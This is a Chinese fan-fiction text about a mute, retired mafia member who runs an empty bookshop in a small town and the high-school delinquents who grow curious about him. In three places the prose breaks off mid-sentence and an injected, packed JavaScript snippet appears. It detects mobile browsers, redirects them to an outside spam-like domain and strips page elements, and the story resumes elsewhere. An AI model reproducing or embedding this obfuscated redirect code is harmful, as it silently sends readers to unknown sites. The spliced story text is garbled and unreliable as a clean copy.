《被正式确诊为渣男》 1. 在店里打盹的都市传说 曲着胳膊,手抵着脑袋,年轻的书店老板在无人光顾的午休时间打了个盹,长时间没有人操作的电脑自动熄屏,进入了和店主一样的睡眠状态。 书店这种商铺,在这种小城很难赚到钱。除了熟客,会上门购书的只有被书店老板秀气柔和无危害的长相偶然吸引而来的客人。也显然,在遭到意想不到的冷遇后,后者往往不会第二次上门。 附近没有哪所偏差值高得离谱的学校,这座城市里只有完全不在乎偏差值的学校。 这是一个按道理来说治安相当差劲,以至于本地大小帮派林立的城市,但同时也是很适合自由的种子生根发芽的小城市。 萌芽中的种子最终会长出什么,全凭自由发挥。 简而言之,这间书店没有理论上的客源。 而事实上,佐久间弥津也确实没有靠一家书店发大财的愿望。 那种纯幻想的愿望还是算了,白日做梦,不如他回隔间的单人床上实际睡一觉。 找个不会出问题的小地方休息一段时间,几个月,或者几年,尽可能去过一段安定的生活,这才是相当多极道组织成员在退休前的愿望,也是佐久间弥津近两年在做的事。 小憩时做的光怪陆离的短暂幻梦同现实融为一体,让他分不清自己有没有真的从梦中醒来。 洒进房间里的日光铺满地板,在梦里出现过的是装修风格很有旧时代风尚的小屋。 小时候他应该随家人住过这类给人以浓浓时代感的住宅。因年久而发黄的墙壁,踩上去总有异响的木地板,还有方方正正的,不知道换过多少次灯泡的方形吊灯,棱角附近贴着出现裂痕的黑色细装饰条。 但他想不起在什么时候住过那样的老屋子。莫非他根本没住过,那只是他根据记忆的碎片臆想出的住所? 有人敲了敲店门,随后拉开书店虚掩着的门,望向进门右手边的方向。 那是老板的位置。 “我来拿梅宫哥预定的书。” 来人的嗓音闷闷的,身高和脸色都会让陌生人心里犯怵。 睡得迷迷糊糊的书店老板终于睁开眼睛。 杉下京太郎对那双玫红色的眼睛并不陌生,这是他第二次见这个年轻的书店老板。 书店老板抬手指了指他左前方的书架区,又在平板电脑的屏幕上迅速操作几下,把屏幕转向他。 那本教人种地的书所在何处,老板指示得很清楚,杉下京太郎毫不费力地在占地不算多大但也足有一整个教室再额外多小半个那么大的书架区找到了书。 在书架区靠墙,和书店老板面对面但相隔“万里”的地方,特意留出一米多宽的空间,摆了两张棕色的木桌和配套的椅子。桌子没有抽屉,是普通图书馆内的书桌大小。每张桌上都放着一个亚力克摆台,一张纸大小合适严丝合缝地夹在里面,白底黑字,但很久没有人注意过了。上面只印着两行温馨提示的字,“借书免费”和“如需购书,店主会即时订新书”。 和书店门平行的后墙上有一扇通往店内后面隔间的门。门上也贴了一张打印着“请止步”的标志。 杉下京太郎把梅宫哥交给他的几张纸币放在收银台上。 这是第二次见面,上一次见还是在其他街区。 他们不是以风铃的名义去的,而是以替老板搬家的理由去的。 听梅宫哥说,他们帮忙搬家的是一家书店。最初他并不知道梅宫哥为什么会有这种打算。帮人搬家这种事,他们干得出来,但梅宫哥说这话的时候明显是在期待什么,期待一种他想不到的东西。 但是很快,他就知道梅宫哥在期待什么了。 青年坐在店门外的椅子上,悠闲地拿着平板电脑玩需要双手操作的游戏。银白色的发丝在午后日光的照耀下透着温暖的光,像引导人类通往天堂的圣天使,如果忽略书店老板脚边歪七扭八躺了一地人,这个周身萦绕着平和氛围的书店老板确实能给人留下一个不算差的第一印象。 那些遭受不知名重创的“尸体”在地上时不时抽搐几下,令人毛骨悚然,间或有银蓝色的电弧似他的幻觉般从“尸体”们身上闪过。 见他们几个人走近,老板不关心躺了一地的人,反而瞧了他们几眼,点开平板电脑的备忘录,打了一行字展示给他们看。 【我说过不用来】 “反正最近也没事干嘛。” 书店老板打字的速度很快,和他打游戏的手速一样快。 老板妥协了。 【晚上我请你们吃饭】 书店老板的嗓子受过伤,在他们面前一句话都没说过,靠点头和摇头还有眼神手势示意和他们交流,到了迫不得已的时候,也能摸出设备打字。 能治吗? 请他们几个吃烤肉的老板面对他们的疑问,环顾他们几人的脸,好像在观察他们的表情,最后点了点头。 那么,是能治的意思吧。 那处街区离东风商店街不算很远,梅宫哥带他去也不是为了搬书,而是为了搬几台价格不菲的电子设备。至于那一屋的书,老板自己租了小型货车搬运。 而他们搬来的电子设备,就是老板现在正在用的那些。 老板自用的纯白书桌和收银台之间也半米多宽的距离,桌上摆满了设备。虽然屏幕背对着他,但摆着两个显示屏外加一台笔记本电脑的桌子显然让桌子的意义发挥到了极致。 还有不可或缺的键盘、音响、耳机架、他不知道名字但有很多快捷键位的设备,像个计算器,以及平时代替嗓子有问题的老板发言的平板电脑及其支架。 老板又匆匆打出一行字给他。 【不用给。到时候让梅宫把成熟的蔬菜送点给我尝尝,就当抵了书钱】 杉下京太郎默默点头。在来之前,梅宫哥就叮嘱过他,“佐久间先生不收的话,你点头就好了。” 他看着那一堆昂贵的设备,觉得老板似乎没必要开这家书店。 书店老板没解释那天去找麻烦的人具体是什么来头,可老板气定神闲的样子分明是坐实了自己都市传说的身份。 那种……在小城市不会出现的“都市传说”。 在那个街区受到帮派人士骚扰的老板在梅宫哥的建议下搬来了东风商店街,继续开自己不会有正常客人上门的书店,像是活在和他们不在同一个时空的时间长河里。 杉下京太郎也记得,梅宫哥让他从书店离开的时候一定记得把店门关上。“毕竟你要是忘记关门,佐久间先生再怎么着急也没办法及时提醒你,哈哈哈。” 店门缓缓合上,比不久前更紧。 佐久间弥津知道这个客人是真的用了力的。 送走也许是今天唯一的一位客人,他透过玻璃,望向门外街道上的行人。 他搬来这座小城已经有几个月了。 他为什么会选择这里当做“退休”后的居住地,其实也没有那么多理由。 以治病为由,上司批准了他的“辞职”。他被允许离开组织,“远走高飞”,在经历很长一段漫无目的地旅行之后,他最终选择了这座风评不怎么样的城市,用来假装自己仍然和旧时的同僚们生活在同样的环境,借此顺利过渡生活。 这座城市也有海岸港口,这不是很巧吗。 站在码头吹风,能让他想起以前的日子。 其实他更喜欢在国外生活工作的时日,那几乎占据了他在港口黑手党工作生涯中的全部。不过,横滨是他出生、成长的地方,不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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能治的话,去治就好了。 这也是他从陌生的新首领口中听到的最后一句关于他的话。 小城的海风和横滨那带着海腥气的风给人的感觉显著的不同。 这里的海风肆意潇洒,而横滨的海风滞重沉郁,缺少一种能够闯进人心中的冲劲。同样是混乱的地方,但导致这一切的原因并不相似,以至于深究之后,发现这里和横滨的氛围大相径庭。 这份唯心的感受,本质其实是他的心态问题。 光线在一点一点被时间吞噬。 等到夕阳和月亮达成和解,他关掉电脑,从身后满墙的置物柜抽屉里找出钥匙,桌上的其余设备也在电源灯闪烁过之后进入关机状态。 单薄的外套衣兜里放着满电的手机,他出门后把店门上挂着的“营业中”标识换成了“暂停营业”。既然店是他的,开门和关门的时间,就由他随心定。 最近的一所学校,是梅宫他们所在的风铃高中。 和说说笑笑的少年们擦肩而过,他回头看了一眼。那几人穿着和杉下一模一样的校服外套……风铃高中是不是只规定了要穿上衣。 他没有当过正经学生,后来还因故退学,直接随中也先生常驻欧洲部门。 他此生和“当学生”这个词再也无缘无分了,自然没有“校服”这种东西。 其他人完全没注意到他,唯有那个戴眼罩的少年,意外与他视线相接,不自觉地停下脚步,被走出几步的同伴叫了名字才回神。 是有这种情况……突然因为一些事而忘记自己正在做的事,什么的。 他收回视线,继续朝着码头的方向走去。 这个时候,码头的工人们说不定还在热火朝天的从货轮上卸货。 忽略港口的大小,和横滨就更像了。 2. 热衷于吹风的都市传说 直到同伴喊他的名字,对他招手,他才意识到自己方才被一个陌生人吸引了全部注意力。 打个照面的短暂瞬间,从旁边那家书店出来的男人就把他们观察得七七八八——他如此认为。观察的视线十分迅速,轻飘飘的,比春风还温柔,让人轻易难以察觉。那份由内而外,云淡风轻的平静情绪,似乎表明观察别人的行为早就成为了其生活习惯的一部分。 青年灰白色的外套没有系扣,衣角因转身的动作扬起。 那是一双让人过目不忘的眼睛。玫红的色彩虽说艳丽,但此刻像是在日暮天边的一抹晚霞。 若不是他恰巧去观察这家新开的书店,其实他也难以注意到银发青年的视线。 男人的身影很快消失在行人之中。苏枋隼飞对着同伴们抱歉地笑了笑,快走几步,跟上他们。 “诶……是书店啊。” 出现这样的小意外,榆井秋彦也注意到了这家有点不同寻常的店。 “也会有人在商店街开书店呢。上次巡逻的时候,我不记得有这家店。”那只是几天前的事。 榆井秋彦掏出笔记本把这一发现记上去,对这一发现并不感冒的少年无意间一扫,透过朝向街面的玻璃,他看到了一堆……一堆设备? 一张桌上要摆那么多东西吗?! 他把脸努力贴近最靠收银台位置的玻璃,勉强用侧视看到收银台之后的那张,明显和店里装潢风格有冲突的纯白色书桌。 ……他从没见过什么人会同时用那么多设备。 总之,这是一家书店,他一整年都不会去两次的那种。 下午的巡逻还在继续,他们没有对这个插曲大肆讨论。 商店街的商户们基本不会频繁搬离,但也没人阻止新的商户来这里开店。能称得上奇怪的,只有新店是一家“书店”这件事了吧。在这座城镇开书店,一定没有提前做好用户调查。 之前……之前这里是一家服装店吧,店里还放着一尊陶瓷猫咪当吉祥物。 少年们的注意力来得快,去得也快。再走几步,就聊起了其他话题,相伴着渐渐走远了。 但名为樱遥的少年忘记擦拭自己的脸留在光亮玻璃上的痕迹。 所以,不久后从港口码头散步归来的书店老板一眼就能发现留在玻璃上的奇怪压痕,并且调出监控录像。 佐久间弥津漫步到港口的时候,天还没彻底黑下来。比起横滨,这座城镇算不上大。当然,他如果想靠脚步亲自丈量小城的大小,这样的想法还是趁早被自己扼杀掉为好。 他暂时不想为了给自己找别的事干。 似乎每个河海港口城市的码头本身都没有很鲜明的区别。整日停泊着大大小小的各式船只,附近有仓库或者就近的厂房。横滨有红砖仓库,这里也有暂时存放货物的高大厂房建筑。 站在栏杆边上吹海风,海风像是能吹走他看一天店之后久坐的疲倦。住在海滨城市的人迟早能习惯空气中的味道。 杉下走后不久,他就收到了梅宫发来的消息。这个不知为什么特别热衷于种植农作物的高中三年生还需要教人治病虫害和分辨土质的书籍。他一一为其订购。 顺便,梅宫还发来了当下那些种在何处天台的农作物的照片。 他看过了,以他同样贫瘠的农学知识来看,长势良好,有丰收相。 港口的货船在鸣笛,有时候持续不断,有时候忽响忽停。他不知其何意,但那声音着实有些炸耳,让他不得不早早收了继续吹海风的心思,在疲惫散去些之后,准备回去。 他在小城的住所靠近横跨河道的桥,同时也离一座占地面积颇大的森林公园很近。一旦懒惰占领理智高地,他就会在书店内的隔间里休息。他对休息环境的要求只有一个“安静”。住所离高架桥有很长的距离,也是这个原因。 但他此刻不想太早回到还没摆几样家具的家。 从港口离开后,他特意绕了个远路。 夜色越发沉重,晚霞好似白昼的遗嘱。 他路过了数不清的路灯。高高挂起的灯泡有不少完全暗掉了,但在这种政府职能都会一定程度缺席的地方,就不必指望有人及时报修了。 他仰头盯着头顶无法点亮的路灯,装作不在意从他身边走过的两人大胆盯着他看。 可是他们怎么不动了。 要问站在一旁的二人为什么会注意到一个观察路灯的银发怪人…… 兔耳山丁子给不出理由,十龟条也同样给不出来。 等到那双颜色张扬的眼睛放过路灯,转而锁定他们的位置,二人心中纷纷给出唯一的正确答案。 他们好像遇到了一个不该存在于此地的人。 兔耳山丁子打量着这个陌生青年。衣着打扮倒是很低调简单,神态是和艳丽眼眸相反的波澜不惊。长相也很年轻,和他们不算绝对的同龄人,但应该没差很多。 他该出声问问的,而不是陷入令自己都摸不着头脑的哑口无言中,眼睁睁地看着银发男人吝啬地收回投向他们的视线,像饭后散步一样,缓步穿过高架桥下的通道,走回不属于狮子头连的领地。 “那个人,真怪。” 十龟条单手抱着一袋面包,也望向已经走远的青年的背影,同意道,“是啊。” 太怪了。 那是一种很难出现在这座小城居民身上的感觉。 “是外地人吧。” “没准,确实是这样。” 佐久间弥津对“本地帮派”的划分毫无认知。 否则他就能认出那两个高中生年纪的路人来自隔壁街区的狮子头连。 而他现在只以为那是附近某所学校的校服。 这座小城的学校,恐怕一点都不在乎学习成绩。梅宫会成为风铃高中的“总代表”,靠的也是其他东西。 不过,这片街区……他是说,他脚底下的这片。 墙壁和人行道上忽而有银蓝色的弧光闪过,在昏沉的夜色中格外明亮,将此处唯一的行人引向归处。 这片街区被风铃高中的人保护得不错。但这样的风气一定是近几年才稳定下来的,因为梅宫不可能从头到尾都是风铃高中的学生。 高中生,年纪比他小。 但那份愿望倒是十分强烈。 嗯……高中生的好奇心也很强烈啊。 他盯着书店外玻璃上留下的人脸印,如此想道。 店内的监控摄像头能拍到这处痕迹的来源。 使劲把脸贴在玻璃上的行为对他而言不算冒犯,甚至让他觉得滑稽,唯一让他在意的,就是他想不通对方为什么要这么干。 是在观察什么吗? 不想留着这块像半张恐怖面具似的痕迹,他亲自动手,拿两条干湿抹布把玻璃上的痕迹擦拭干净,才心满意足决定回家。 他不想去深思梅宫为何邀请他搬来这里,就像他在国外工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519358|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时也从未怀疑过中也先生的话。 既然是伤害不到他的事,哪需要他额外花费精力呢。 那几个站在他店门口的也是风铃的学生,他的确稍稍注意到了他们。 无论是戴眼罩的少年,还是完全没注意到他的异瞳少年,又或者是看起来全无威胁的金发少年,都穿着风铃高中的校服,意味着他们是梅宫的学弟。 既然如此,他们就同样“肩负着保卫这片街区的责任”。 这让他想起曾经了解过的意大利黑手党组织的起源。 他们也是从当地居民自发组织起的自卫团为起点,逐渐发展至今的庞大规模。组织的欧洲事务,在……那个人从森先生手中夺过首领之位前,已经全都交由中也先生处理了。如果中也先生因为工作上的事被召回国内本部,在中也先生给予任何回复前,那边的事务,他和水落都会替中也先生好好处理。 在欧洲的时候……不管现在如何,那时候,他,他们,都是受中也先生信任的人。 他相当熟悉这样的“风土人情”:在治安不好的地区,一定会出现不少本土帮派。 但这座小城里的本土帮派和真正的犯罪组织有天壤之别。这一点,不是靠成员的年龄和身手评判的。 他把几张从监控录像中截取的图片发到了和梅宫的聊天窗口。 【你的学弟】 回复他的首先是一张表情包。 【相当有意思吧,那是今年一年级的级长和副级长哦】 有没有意思他没看出来,但好奇心的旺盛程度倒是很符合他们的年纪。不等他把聊天框里打出来的“什么是级长”几个字删除,对面又发来了新的消息。 【有没有时间来亲眼看看我种的菜】 时间?时间他有很多,他开书店的行为可能也会被以前的朋友称为浪费时间。梅宫是他见过的最爱“亲手”种菜的人。想到之后要把新订购的书交给梅宫,他便应下梅宫的邀请。 时间约在几天后。他日复一日的平静生活并不难熬,白天没事做,夜里也不会频繁做噩梦。 他已经很幸运了。刚从组织离开的那段时日,他的生活还没安定下来。以横滨为起点出发,没有目的地,一直在路上的日子,每一天都会做让他醒来后感到惆怅又空虚的梦。 梦的内容纷繁杂乱。有他幼年的孩童生活,自己和尚未断绝关系的父母一起放风筝,风筝是他攒零花钱送给年幼妹妹的生日礼物。那时他的生活里还没有黑手党的存在,只知道自己和其他同龄人有些许不同。 他在梦里看不清那些家人的脸,醒来以后,也没有去寻找他们的想法。已经分别那么多年,他做什么都是打扰。 也会梦见已经成为组织一员的他。穿着不容易看出斑驳血迹的黑西装,打着伞,从敌人的藏身之所离开。天上飘着小雨,乌云层层叠叠,像没磨匀的墨被不走心的人涂满天空。 当年游说他进入港口黑手党的森先生现在“下落不明”——他只愿意承认森先生下落不明——仅有一次出现在他梦里,只留下了一道离开的背影。甚至梦见过他的“辞职”被中也先生婉拒而他最终决定叛逃的双输结局。 新首领下令干掉带着组织机密情报逃走的他。 即使知道那是一场梦,在大汗淋漓中醒来,心情久久无法平静。他最知道叛逃的人是何种下场。 组织从来不会对叛逃的人网开一面,无论其曾经为组织付出过多少。 3. 在喝酒的都市传说 没穿风铃高中的校服,手里还拿着一罐啤酒。 这种学生眼里的怪人自然会被拦在校外。 提前考虑到这一点的佐久间弥津把手机里的一条语音消息点开,放给拦住他的学生听。 学生将信将疑地把脑袋伸过去,却从这个校外人的手机里听到了那位的声音。 易拉罐装的啤酒,没有奢华和品位可言,容量也不多。佐久间弥津听着梅宫一兴高采烈地介绍自己种的长势良好的蔬菜,不过多时,一罐啤酒就见了底。那几本梅宫一要的书,他也一并带来,放在天台的桌上了。 他没有讲解的义务,也没那份能力。 淡淡的酒气只在佐久间弥津停留过的菜园边遗留些许,也很快被风吹散,无影无踪。易拉罐不堪一击,青年握在手里,握得形状扭曲,最终的命运是被抛投进离这里最近的垃圾桶。 天台的门被推动,几个让佐久间弥津感到眼熟的少年出现在天台入口。 青年一言不发,唯一认出青年身份的苏枋隼飞注视着站在梅宫一身边的人,说道,“原来两位认识啊。” 唯有榆井秋彦和樱遥一头雾水。这个看起来就和他们不是同龄人的家伙……是谁啊。 苏枋隼飞对当天并没有看到青年正脸的同伴解释道,“是那家书店的老板。” 少年们小声惊呼,不约而同地望向那个手里还捏着易拉罐残骸的青年。 青年的银发有些微卷和散乱,个子不低,但略输他们风铃高中的总代表一丁点。领受着他们的目光,青年的神态依旧平淡,那双玫红色的眼睛让苏枋隼飞记忆犹新,古井无波的目光落到他们身上,转瞬即逝。 这位书店老板为什么会在这里。 “佐久间先生受邀请来看我种的菜呢。” 梅宫一脸上照常露出傻笑,站在他身边的佐久间弥津轻轻点了点头,以示对其话语的赞同。 这家伙……是懒得说话吗? 樱遥在心里暗自想着。 偏要解释的话,其实少年已经找到了真相。 理论上能治的伤势,佐久间弥津却一直拖延至今。看作他懒得去治,也不算过分扭曲意图。 没必要治,反正一年半载都没要事。佐久间弥津向来这么说服自己。 捏着看不出原样的易拉罐,青年一言不发地转身离开。 几道探究的视线明晃晃地落在他背上,他愿意暂时表现出属于年长者的宽容。他比梅宫的年龄还要大两岁。 教学楼的天台,足以将整座学校连同周围的街区都收归眼底。风送走了青年留下的酒气,将青春的激情和稚嫩留给时年正好的年少之人。 梅宫一坐在天台边,俯瞰着地面上的人,目送青年头也不回地离开风铃高中。 一年级的人还在天台上。他本意是招呼他们几个聊其他事,但看起来,“你们对佐久间先生好像更感兴趣。” 樱遥下意识地想反驳说没有。但还没说出口,身边的人就顺着那句话接到,“是。那位先生是外地人吧。” 樱遥一愣。 ……外地人? 那不是和他很像吗。 “是哦,”说着,梅宫一走到桌边,翻起那几本被书店老板亲自送来的书,“并且,是从蛮远的城市来的。之前,他的店在其他地方,是我邀请他搬来商店街的。” “所以,那位先生到底是……” 梅宫一的脸上露出聊起吓人的恐怖传说时才会有的气氛感表情,“是‘都市传说’哦!” 榆井秋彦把风铃总代表的话匆匆记录下来,才意识到他们信任的人刚刚说了什么。都市传说……是那种会在起雾的十字路口问路人问题的那种吗?梅宫哥怎么会认识那种不科学的存在! “哈哈哈,倒也不是那种。”自己的话被误会也在梅宫一的预料之中。“是另一种。佐久间先生是个很厉害的人。” 那位佐久间先生身上的气质很独特,苏枋隼飞忍不住要去思索和其有关的事,好奇心完全得不到满足。青年在无意识间展现出来的是这座小城的居民不会拥有的,黑暗荡涤后的宁静。 他甚至怀疑,梅宫哥正是发现了这一让人不由得深思的事实,才邀请佐久间先生从附近街区搬来这里。 少年时期的好奇心像一粒埋藏在泥土之下的花种。一旦有阳光和雨露给予其生长的契机,就会迅速成长为连其本人都注意不到的参天大树。 不过,事实也确实如此。 苏枋隼飞在这种事上有相当不可思议的洞察力。唯独可惜,风铃高中的总代表没有对任何人说起自己和佐久间弥津初见时的遭遇。 那是必须当成秘密的事。 这座城镇不够和平,但很多人都在为自己想要生活的环境努力。 在风铃的地盘之外,什么事都有可能发生。包括一个陌生男人从衣服里拔出手枪对准躺在地上的不良。 梅宫一就是那个目击证人,而佐久间弥津是掏出手枪要将别人一击毙命的枪手——只是梅宫一后来才知道,那是一把麻醉枪,半点杀伤力都没有,全是威慑力,赌那些不良没见过枪支。 那只握枪的手戴着十分贴合皮肤的黑色皮质手套,在光线不够明亮的路灯下反射着灯光。 那时尚未和他互换姓名的银发青年看到他之后,便丢掉手里的“人质”,似乎决定放过这些躺在地上,已经失去反抗能力的家伙。 青年不说话,但望向他的视线显然是在问他是谁。 他诚实地回答,自己只是路过的行人。还向青年扬了扬手里的塑料袋,那是他精心挑选的植物种子,准备带回去种到天台上的田地里。 不知道青年有没有相信他的话,但青年手腕上的智能手环亮了亮屏,把青年的注意力从他身上移开。 弓着身体,侧躺在墙角的不良却在青年低头操作手环的时候迅速爬起来,手里操着一根从地上随手捡来的钢管,面色狰狞地对青年的脑袋狠狠砸下,仿佛砸的是一颗南瓜,而不是人的脑袋。 偷袭不仅可耻,而且没用。 他目睹了在黑暗里更加明亮的银蓝色弧光洗刷过不良的全身,甚至有轻微却非幻觉的噼里啪啦声传到他耳朵里。 手持武器的家伙再次倒地,整个过程不过呼吸的瞬间。青年没有回头看那个不幸的家伙,专注而熟练地在智能手环上操作着什么。 这一刻,梅宫一明白了。 他们生活的小城里多了一个不该出现的都市传说。 和他初次见面的青年没有对一地的对手痛下杀手,抬脚从横七竖八的“尸体”中走出,对他跟上去的举动也不甚关心。 他试图搭话,但青年一心一意地走自己的路,还把戴过的手套丢进路边的垃圾桶,最终进到一家在室外也摆着一张圆木桌的书店。 店内还亮着灯,一室的书籍按题材分类摆放着,是强迫症的福音。 但是……书店? 他仰头看着书店的招牌,最终确定了这个青年的真实身份是这家书店的老板。 一个普通的书店老板可做不到把那群身强体壮的家伙拦在无人窄巷里的事。 他提着塑料袋,也从半开的店门跟进去。 一进门就闻到一股萦绕在鼻尖的酒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519359|186252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,挥之不去,像是有看不见的小精灵在他面前为自己斟酒。 青年脱掉身上的外套,随意叠放在一旁,露出脖子上戴着的吊坠。手指细长,指甲修剪得整齐,拿起电脑桌上喝到一半的易拉罐装平价啤酒,继续做自己的事。 青年对他的无视态度更加让他想要搞明白一件事。 “先生,你是被他们找麻烦了吗?” 如果是热衷于挑起纷争的家伙,会在看到他的瞬间就产生把他灭口的恶意,而不是放过那一地的对手后,还纵容他明目张胆地跟随。 青年指了指店内的座椅,示意他随便坐。 他如其所愿,笑呵呵地坐到椅子上。 青年空出左手,在平板电脑上打出几个词,接着调转平板电脑,让他看到那些话。 【你要买书还是借书。买书要等几天】 潜台词就是,啥也不干的话就滚出去咯?梅宫一悟了。 这个青年恐怕是不能……或者说不方便说话。 他没有赌错。 后来发生的种种也证明佐久间弥津先生不是难相处的人。 佐久间先生的店面离商店街有点距离,但这个距离用双脚就能弥补。 佐久间先生是从什么地方来的呢。 有那么一次,他直白地询问。 书店基本没客人。他每次独自到来,都只能看到佐久间先生一个人呆在店里,聚精会神地按键盘。他不买书,只是找这位先生闲聊。 那双玫红色的眼睛望着他,似乎在判断他的可信度。过了片刻,才在平板电脑上打出一个词。 【北方】 模棱两可的回答。 “这样啊……你很喜欢电子产品?” 名为书店,但没客人,就能当做佐久间先生的私人书房,桌上摆了很多电子设备,看着价格不菲。 【也不算,只是用得着】 依靠这样怪异但能继续的沟通方式,这段交情逐渐建立。 “这里不怎么安全,佐久间先生,你要不要搬去风铃高中旁边的商店街?” 虽然佐久间先生所展示出来的身手是不能简单地用“强”与“弱”去形容的成熟和老练,但在他第二次目击佐久间先生处理那些混混的时候,他如此邀请道。 “商店街要比这里安全很多。” 他第一次发出邀请的时候,佐久间先生没答应。 他能理解。对那样的人来说,威胁不到自己的敌人,无论去多少个都是无用的。 所以,什么样的人能让佐久间先生露出平静以外的生动表情? 这恐怕需要佐久间先生的“同类”了。 但佐久间先生最终还是被他的邀请打动了。因为找上门的麻烦逐渐频繁,也因为他的每周五登门。 鳄鱼不会觉得一只苍蝇很烦。可如果是一群苍蝇无时无刻不绕着鳄鱼飞来飞去,脾气再好的鳄鱼都会火冒三丈的。 他双手支持佐久间先生把那群心思肮脏的家伙驱赶出去,但更支持佐久间先生搬来东风商店街。 然后,他就可以兴致勃勃地准备帮佐久间先生搬家、搬店。 这样的热情会被佐久间先生浇一瓶冰啤酒的哈哈哈。但说到底,佐久间先生不是会故意对他人的好心泼冷水的人。 一起去帮忙的杉下他们,仅仅知道后面的事。佐久间先生的真实身份——那些他暗自推测出的,或许永远无法验证真假的身份,在他认为佐久间先生不会给这座城镇带来危机和动乱之时,已经完全变成他会对所有人保密的东西。 除非佐久间先生选择自己揭晓。 4. 说话的都市传说 过段了时日,又一次日常巡逻,他们再次经过了那位先生的书店。 远远地看到用一个单独的外文单词当招牌的书店,和上次经过时,书店老板正要出门的情形不同,这次,他们有幸在天台见过一面的青年正坐在一众设备面前,独自一人在书店里度过日复一日的孤独时光。 樱遥看得出来,书店根本没人光顾。 “你们说,这家店能开多久。” 他从未考虑过开店当老板这种和他八竿子打不着的事,但也知道没人光顾就等于没钱赚的道理。 这样下去,书店很快就会倒闭吧。 佐久间弥津对少年们心中朴素天真又不知从何而来的热心一无所知。等待游戏加载的途中,他朝站在店门口踌躇不前的几人望过去,神色各异的少年们被他逮了个正着。 他开这家店根本不是为了赚钱,但少年们不知道。 心怀对老板亏钱的同情和被抓包的不好意思,几人在老板的视线里鱼贯而入。 收银台后面的白色桌子上摆着两瓶啤酒,一瓶已经打开,喝了大半,另一瓶放在作用应该是隔热的杯垫上——然而看到瓶身上满满的小水滴,就知道老板在拿杯垫“隔冷”。 这就是冲他们几人鼻子而来的酒气的根源。 盯着对他说“一个人躲在店里喝闷酒的话,怎么可能有人上门买书啊”并且情绪莫名有些激动的异瞳少年,佐久间弥津在不解之余,想不到有什么方法能抚平少年心中突如其来的情绪。 他们……怎么了。 他没忘暂停游戏的进程。 “佐久间先生……你的书店有在盈利吗。” 戴着流苏耳坠的少年比之更理智点,但同样对他的书店产生一份让他有些看不懂的关心。 他在平板电脑上敲下一个词。 【没有】 少年们面面相觑,似乎从对方眼里看到了“果然如此”几个字。 【有什么事】 当书店老板问出这个问题,几人却都显得有些捉襟见肘。异瞳的少年眼神四处飘,手背在身后的少年面带微笑,但没有立即回答。 榆井秋彦小心翼翼地看着书店老板,抱着笔记本的胳膊暴露了其心中的忐忑不安。 “那个,佐久间先生……书店不盈利的话,很难开下去吧……” 得到老板的承认,他们忽然有些担心老板的生活…… 然而榆井秋彦听到老板轻轻叹了一口气。 随后是手指在平板电脑屏幕上触摸时的轻微摩挲声。 等到老板再次把屏幕朝向他们,榆井秋彦清楚地看到了老板对他们的回复。 【如果是梅宫的话,就会直接问我会不会因为书店赚不到钱而变成穷光蛋】 【我有笔积蓄,各位不用担心】 “这、这样啊……今天,打扰了!” 得到老板善意的回答,榆井秋彦仍然急出一头汗。这种时候让他单独和不方便说话的老板交流吗?好尴尬…… 打字速度非同一般的书店老板已经在屏幕上打出另一行字,向他们介绍店里的规矩。 【店里借书看是免费的,请随意】 三个接不住青年话题的人匆忙以还要继续巡逻为由,从让他们快要一同迷醉的气氛中逃离,在不远的地方和同伴汇合。 桐生三辉好奇地看着自己的同班同学兼级长和副级长们。 “你们遇到了什么。” 简直像是从某处逃出来一样慌张哦。 他朝几个人身后看去。 商店街一切正常。行人都是附近的居民,也没有怪人出现,平静得很呢。 快速整理好仪态,苏枋隼飞脸上堆出和气的笑意,“其实没什么。” 只是差点沉浸在书籍的海洋里忘记还有巡逻这回事。 桐生三辉的好奇心没那么强烈——他只是悄悄站到同伴身后,看着同伴往自己的笔记本上刷刷写就的几行字。 是新的一页呢。书店老板……哪个书店? 他抬头一一看过商店街里的招牌,才发现最近刚开的书店。 真的是书店哦。 他初中的学校附近经常会有的那种正儿八经的书店。有的书店不仅卖书,还有咖啡和点心的售卖服务,他很少去,因为不想在学校以外的地方碰到同班同学。 但那样的书店里没准会暗藏制作点心的高手。 桐生三辉若有所思。 扶着墙壁,不知道在低着头思考什么的“级长”显然还没从成年人的场合里回过神来。 ……谁担心那种白天喝酒的家伙了。难道那位老板有酗酒的恶习?那可真是糟糕的大人。 樱遥在心里哼了一声,可惜无人知其意。 不知为何而诞生的书店就这样屹立在商店街的一处,安静得像是历经千百年历史的古埃及金字塔,在时间的流逝中始终沉默不语。 阴天雨天如此,晴天艳阳天也依旧如此。 少年们经过那家书店,年轻的店老板有时候会坐在收银台后面自顾自地打游戏,也有时候会挂上暂停营业的标志,人不知道去了什么地方。 就算局限于他们生活的城镇,只是想外出走走,也多得是选择。 进过店里的少年们都记得书店老板对啤酒情有独钟。不过也没人问老板是有不可言说的坏习惯,还是把喝酒当成了喝饮料一样日常的行为。 第一次进店心中尚有陌生和不安,可第二次,第三次就逐渐熟络。只是进店里日常问好,也比第一次进店习惯太多。 倒不是每次进店都能看到老板又在喝酒,也有喝其他东西的时候。 